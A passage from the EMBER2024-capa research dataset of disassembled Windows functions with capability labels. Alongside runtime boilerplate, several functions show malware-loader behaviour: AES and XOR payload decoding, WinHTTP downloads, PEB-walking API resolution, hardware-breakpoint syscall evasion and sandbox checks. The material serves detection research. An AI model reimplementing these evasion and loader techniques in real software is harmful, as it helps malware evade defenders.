joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400532e0]
mov dword [rax], 1
mov rax, qword [0x1400532f0]
mov dword [rax], 1
mov rax, qword [0x140053300]
mov dword [rax], 1
mov rax, qword [0x140053290]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14001b2a0
Capabilities:
Query environment variable

Disassembly:
push rsi
mov eax, 0x10078
push rbx
call fcn.140036d20
sub rsp, rax
xor eax, eax
mov rdx, rcx
lea rbx, [rsp + 0x20]
xor ecx, ecx
mov word [rsp + 0x70], ax
mov word [rsp + 0x20], cx
lea rsi, [rsp + 0x70]
mov rcx, rbx
call fcn.14002f660
mov rdx, rsi
mov r8d, 0x10000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edx, [rax - 1]
xor eax, eax
cmp edx, 0xffff
ja 0x14001b2f9
mov rcx, rsi
call sub.msvcrt.dll__wcsdup
add rsp, 0x10078
pop rbx
pop rsi
ret
Function at 0x140035a00
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.140047180
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.140047180
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x1400366d2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14005b2c8]
test eax, eax
je 0x14003676a
lea rax, [0x14005b2a0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14005b2d0]
mov qword [rbp - 8], rax
jmp 0x14003674e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140036742
cmp qword [rbp - 0x10], 0
je 0x140036742
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140036708
lea rax, [0x14005b2a0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14003676b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140036870
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140036898
mov eax, 0
jmp 0x1400368e6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400368c1
mov eax, 0
jmp 0x1400368e6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x1400368e1
mov eax, 0
jmp 0x1400368e6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x1400368ec
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14003696a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140036961
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140036961
mov rax, qword [rbp - 8]
jmp 0x14003697f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140036934
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14002e120]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14002e130]
mov dword [rax], 1
mov rax, qword [0x14002e140]
mov dword [rax], 1
mov rax, qword [0x14002e0a0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14002e110]
mov dword [0x14003600c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14002e200]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14002e1e0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14002de90]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001450
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
mov dword [rsp + 0x78], edx
mov rdi, rcx
mov rbx, r8
mov rsi, r9
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x38]
mov r9d, 0x18
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140001548
lea rax, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001548
xor r9d, r9d
mov rcx, qword [rsp + 0x40]
mov r8d, esi
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001548
lea rax, [rsp + 0x48]
xor r9d, r9d
mov r8, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov edx, 0x6610
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001548
lea rax, [rsp + 0x78]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001548
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor eax, eax
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
mov eax, 0xffffffff
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
Function at 0x140001560
Capabilities:
Encode data using xor

Disassembly:
mov r11, rdx
test rdx, rdx
je 0x14000158a
xor r10d, r10d
nop dword [rax + rax]
mov rax, r10
xor edx, edx
div r9
movzx eax, byte [r8 + rdx]
xor byte [rcx + r10], al
add r10, 1
cmp r11, r10
jne 0x140001570
ret

Function at 0x140001590
Capabilities:
Encode data using xor

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov r13, qword [rdx]
mov rbp, qword [rdx + 8]
mov r12, rcx
sub rbp, r13
js 0x1400016b3
je 0x140001690
mov rcx, rbp
xor ebx, ebx
call sym.operator_new_unsigned_long_long_
mov rsi, rax
nop word [rax + rax]
movzx eax, byte [r13 + rbx]
mov rdi, rbx
mov byte [rsi + rbx], al
add rbx, 1
cmp rbp, rbx
jne 0x1400015c8
xor eax, eax
lea rcx, str.j53m4u_
nop word cs:[rax + rax]
mov rdx, rax
and edx, 7
movzx edx, byte [rcx + rdx]
xor byte [rsi + rax], dl
mov rdx, rax
add rax, 1
cmp rdx, rdi
jne 0x1400015f0
lea rax, [r12 + 0x10]
mov qword [rsp + 0x28], rbx
mov qword [r12], rax
mov qword [r12 + 8], 0
cmp rbx, 0xf
ja 0x140001670
xor edx, edx
nop dword [rax + rax]
movzx ecx, byte [rsi + rdx]
mov byte [rax + rdx], cl
mov rcx, rdx
add rdx, 1
cmp rdi, rcx
jne 0x140001630
mov rax, qword [rsp + 0x28]
mov rdx, qword [r12]
mov rcx, rsi
mov qword [r12 + 8], rax
mov byte [rdx + rax], 0
mov rdx, rbp
call sym.operator_delete_void__unsigned_long_long_
mov rax, r12
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
lea rdx, [rsp + 0x28]
xor r8d, r8d
mov rcx, r12
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_create_unsigned_long_long__unsigned_long_long_
mov rdx, qword [rsp + 0x28]
mov qword [r12], rax
mov qword [r12 + 0x10], rdx
jmp 0x140001626
lea rax, [rcx + 0x10]
mov qword [rcx + 8], 0
mov qword [rcx], rax
mov rax, r12
mov byte [rcx + 0x10], 0
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
lea rcx, section..rdata
call method.std.__throw_length_error_char_const_
mov rdi, rax
mov rcx, rsi
mov rdx, rbx
call sym.operator_delete_void__unsigned_long_long_
mov rcx, rdi
call sym._Unwind_Resume
nop
nop word cs:[rax + rax]
Function at 0x1400029f0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x78
xor r13d, r13d
mov rdi, rcx
mov r12, rdx
mov dword [rsp + 0x68], 0
xor edx, edx
mov dword [rsp + 0x6c], 0
mov rsi, r8
mov rbp, r9
xor r8d, r8d
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea rcx, str.winhttp_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rbx, rax
test rax, rax
je 0x140002af2
mov rdx, rdi
xor r9d, r9d
mov rcx, rax
movzx r8d, word [rsp + 0xe0]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rdi, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov r14, rax
test rax, rax
je 0x140002aed
mov r8, r12
xor r9d, r9d
lea rdx, [0x14002b0f8]
mov rcx, rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r12, rax
test rax, rax
je 0x140002c00
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov rcx, rax
mov dword [rsp + 0x20], 0
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
jne 0x140002b10
xor r13d, r13d
mov rdi, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r12
call rdi
mov rcx, r14
call rdi
mov rcx, rbx
call rdi
mov eax, r13d
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
xor edx, edx
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x140002ad9
lea rax, [rsp + 0x68]
lea rdx, [rsp + 0x6c]
mov qword [rsp + 0x50], rbx
xor edi, edi
mov qword [rsi], 0
mov rbx, rax
mov dword [rbp], 0
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x58], r14
jmp 0x140002bd5
mov r14d, dword [rsp + 0x68]
test r14d, r14d
je 0x140002bf1
mov ecx, r14d
mov edx, 1
call sym.calloc
mov r15, rax
test rax, rax
je 0x140002bf1
mov r9, qword [rsp + 0x48]
mov r8d, r14d
mov rdx, rax
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x140002c10
mov rcx, qword [rsi]
mov edx, edi
add edx, dword [rsp + 0x6c]
call sym.realloc
mov qword [rsi], rax
test rax, rax
je 0x140002c10
mov edx, edi
mov r8d, dword [rsp + 0x6c]
mov r13d, 1
lea rcx, [rax + rdx]
mov rdx, r15
call sym.memcpy
add edi, dword [rsp + 0x6c]
mov rcx, r15
mov dword [rbp], edi
call sym.free
mov eax, dword [rsp + 0x68]
test eax, eax
je 0x140002bf1
mov dword [rsp + 0x68], 0
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x140002b50
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x58]
jmp 0x140002adc
mov rdi, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x140002ae8
mov rcx, r15
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x58]
call sym.free
jmp 0x140002adc
Function at 0x140002e10
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
cmp word [rcx], 0x5a4d
mov rbx, rcx
mov rsi, rdx
jne 0x140002e3c
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
je 0x140002e50
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov edi, dword [rax + 0x88]
test edi, edi
je 0x140002e3c
add rdi, rcx
mov r14d, dword [rdi + 0x20]
mov eax, dword [rdi + 0x18]
mov r12d, dword [rdi + 0x1c]
mov r13d, dword [rdi + 0x24]
add r14, rcx
test eax, eax
je 0x140002e3c
mov rbp, qword [sym.imp.msvcrt.dll__stricmp]
xor r15d, r15d
jmp 0x140002e8e
add r15, 1
add r14, 4
cmp r15d, dword [rdi + 0x18]
jae 0x140002e3c
mov ecx, dword [r14]
mov rdx, rsi
add rcx, rbx
call rbp
test eax, eax
jne 0x140002e80
lea rax, [rbx + r15*2]
movzx eax, word [rax + r13]
lea rax, [rbx + rax*4]
mov eax, dword [rax + r12]
add rax, rbx
jmp 0x140002e3e

Function at 0x140003120
Capabilities:
Access peb ldr_data

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x4f8
mov rdi, qword gs:[0x60]
mov rax, qword [rdi + 0x18]
mov rbx, qword [rax + 0x20]
add rax, 0x20
cmp rbx, rax
je 0x140003180
lea rsi, [0x14002b106]
jmp 0x140003160
mov rax, qword [rdi + 0x18]
mov rbx, qword [rbx]
add rax, 0x20
cmp rbx, rax
je 0x140003180
mov rcx, qword [rbx + 0x40]
mov rdx, rsi
call sym.wcsstr
test rax, rax
je 0x140003150
mov rcx, qword [rbx + 0x20]
jmp 0x140003182
xor ecx, ecx
lea rdx, str.GetThreadContext
call sym.GetSymbolAddress_unsigned_long_long__char_const_
mov rbp, rax
mov rdi, qword gs:[0x60]
mov rax, qword [rdi + 0x18]
mov rbx, qword [rax + 0x20]
add rax, 0x20
cmp rbx, rax
je 0x1400031e0
lea rsi, [0x14002b106]
jmp 0x1400031c8
mov rax, qword [rdi + 0x18]
mov rbx, qword [rbx]
add rax, 0x20
cmp rbx, rax
je 0x1400031e0
mov rcx, qword [rbx + 0x40]
mov rdx, rsi
call sym.wcsstr
test rax, rax
je 0x1400031b8
mov rcx, qword [rbx + 0x20]
jmp 0x1400031e2
xor ecx, ecx
lea rdx, str.SetThreadContext
lea rdi, [rsp + 0x20]
call sym.GetSymbolAddress_unsigned_long_long__char_const_
mov ecx, 0x9a
lea rsi, [rsp + 0x20]
mov rbx, rax
xor eax, eax
mov rdx, rsi
rep stosq qword [rdi], rax
mov dword [rsp + 0x50], 0x100010
mov rcx, qword [0x1400360c0]
call rbp
lea rax, [sym.PrepareSyscall_char_]
mov rcx, qword [0x1400360c0]
mov rdx, qword [rsp + 0x90]
mov qword [rsp + 0x68], rax
and rdx, 0xfffffffffffcffff
mov dword [rsp + 0x50], 0x100010
or rdx, 1
mov qword [rsp + 0x90], rdx
mov rdx, rsi
call rbx
test eax, eax
setne al
add rsp, 0x4f8
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x1400032d0
Capabilities:
Access peb ldr_data

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [0x1400360c0], rax
mov rsi, qword gs:[0x60]
mov rax, qword [rsi + 0x18]
mov rbx, qword [rax + 0x20]
add rax, 0x20
cmp rbx, rax
jne 0x140003320
jmp 0x140003340
mov rax, qword [rsi + 0x18]
mov rbx, qword [rbx]
add rax, 0x20
cmp rbx, rax
je 0x140003340
mov rcx, qword [rbx + 0x40]
mov rdx, rdi
call sym.wcsstr
test rax, rax
je 0x140003310
mov rax, qword [rbx + 0x20]
jmp 0x140003342
xor eax, eax
lea rbx, [0x14002b148]
lea r8, str.xxxxx
mov qword [0x1400360b8], rax
mov rdx, rbx
lea rcx, str.KERNEL32.DLL
call sym.FindInModule_char_const__unsigned_char__char_
mov qword [0x1400360a0], rax
test rax, rax
je 0x1400033a0
lea rdx, [sym.HWSyscallExceptionHandler__EXCEPTION_POINTERS_]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov qword [0x1400360c8], rax
test rax, rax
je 0x1400033c2
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp sym.SetMainBreakpoint__
lea r8, str.xxxxx
mov rdx, rbx
lea rcx, str.kernelbase.dll
call sym.FindInModule_char_const__unsigned_char__char_
mov qword [0x1400360a0], rax
test rax, rax
jne 0x140003372
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
Function at 0x140003f80
Capabilities:
Get memory capacity

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x60
call method.std::chrono::_V2::steady_clock.now__
mov dword [rsp + 0x28], 0
lea rbx, [rsp + 0x20]
mov rdi, qword [sym.imp.msvcrt.dll__errno]
mov qword [rsp + 0x20], 2
mov rsi, rax
mov rdx, rbx
mov rcx, rbx
call sym.nanosleep
cmp eax, 0xffffffff
je 0x140004038
call method.std::chrono::_V2::steady_clock.now__
movsd xmm1, qword [0x14002b210]
pxor xmm0, xmm0
sub rax, rsi
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x14002b208]
comisd xmm1, xmm0
ja 0x140004048
call sym.MPIaZGmFQfGVQjWI__
mov dword [rsp + 0x20], 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp qword [rsp + 0x28], 0x7fffffff
jbe 0x140004048
mov ecx, 0x3e8
call sym.sYRDsfzaDfEREhBn_unsigned_long_
call sym.xRogHmvgITzFiJJK__
test al, al
je 0x140004048
call sym.mpTwMPereFkrfZdo__
test al, al
je 0x140004048
call sym.ghGsAJZuvsOroexi__
test al, al
je 0x140004048
add rsp, 0x60
pop rbx
pop rsi
pop rdi
ret
call rdi
cmp dword [rax], 4
jne 0x140003fbc
jmp 0x140003fac
mov ecx, 1
call sym.exit
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]

Function at 0x1400044e0
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x14002a028], eax
cmp eax, 0xffffffff
je sym.pthread_tls_init.cold
add rsp, 0x28
ret

Function at 0x140004500
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0xa8
mov rax, qword [0x14002e180]
mov rdx, qword [rax]
mov qword [rsp + 0x98], rdx
xor edx, edx
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x20], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x28], rdx
movabs rdx, 0x20726f6620737965
mov qword [rsp + 0x30], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x38], rdx
xor edx, edx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x7b], 0
mov qword [rsp + 0x83], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x14000461a
mov eax, 0x28
lea rcx, [rsp + 0x20]
jmp 0x1400045f2
add rax, 1
cmp rax, 0x6b
je 0x14000460f
cmp byte [rcx + rax], 0
jne 0x1400045e8
lea edx, [rax + 1]
cmp eax, 0x6a
je 0x14000460f
cdqe
mov byte [rsp + rax + 0x20], 0xa
movsxd rax, edx
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sym.abort
mov edx, 0x28
mov eax, 0x27
lea rcx, [rsp + 0x20]
jmp 0x140004600
Function at 0x1400049b0
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
cmp dword [0x140036140], 1
je 0x140004a28
lea rdi, [0x140036140]
mov rcx, rdi
call sym.enterOnceObject
lea rbp, [rax + 8]
mov rbx, rax
mov rcx, rbp
call sym.pthread_mutex_lock
mov esi, dword [0x140036140]
test esi, esi
jne 0x140004a38
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x14002a028], eax
cmp eax, 0xffffffff
je sym._pthread_once_raw.constprop.0.isra.0.cold
mov dword [0x140036140], 1
mov rcx, rbp
call sym.pthread_mutex_unlock
test rbx, rbx
je 0x140004a28
mov rcx, rbx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp sym.leaveOnceObject.part.0
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp esi, 1
je 0x140004a08
mov ecx, 2
call qword [dbg.__acrt_iob_func]
mov r9d, esi
mov r8, rdi
lea rdx, str._once__p_is__d_n
mov rcx, rax
call sym.fprintf
jmp 0x140004a08

Function at 0x140004a60
Capabilities:
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
call sym.pop_pthread_mem
cmp qword [sym.__dyn_tls_pthread], 0
mov rbx, rax
je 0x140004b78
test rax, rax
je 0x140004b78
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rbx + 0x70], eax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call sym.pthread_spin_destroy
cmp eax, 1
je 0x140004b86
mov rbp, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x68], 0xffffffffffffffff
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call rbp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rsi, rax
call rbp
mov dword [rsp + 0x30], 2
mov r8, rdi
mov rdx, rsi
mov dword [rsp + 0x28], 0
mov rcx, rax
lea r9, [rbx + 0x28]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je sym.__pthread_self_lite.part.0.cold
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov ecx, dword [0x14002a028]
mov rdx, rbx
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x140004b8c
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call sym.replace_spin_keys.part.0
nop
jmp sym.__pthread_self_lite.part.0.cold

Function at 0x140004ba0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
sub rsp, 0x28
call sym._pthread_once_raw.constprop.0.isra.0
mov ecx, dword [0x14002a028]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140004bc0
add rsp, 0x28
ret
add rsp, 0x28
jmp sym.__pthread_self_lite.part.0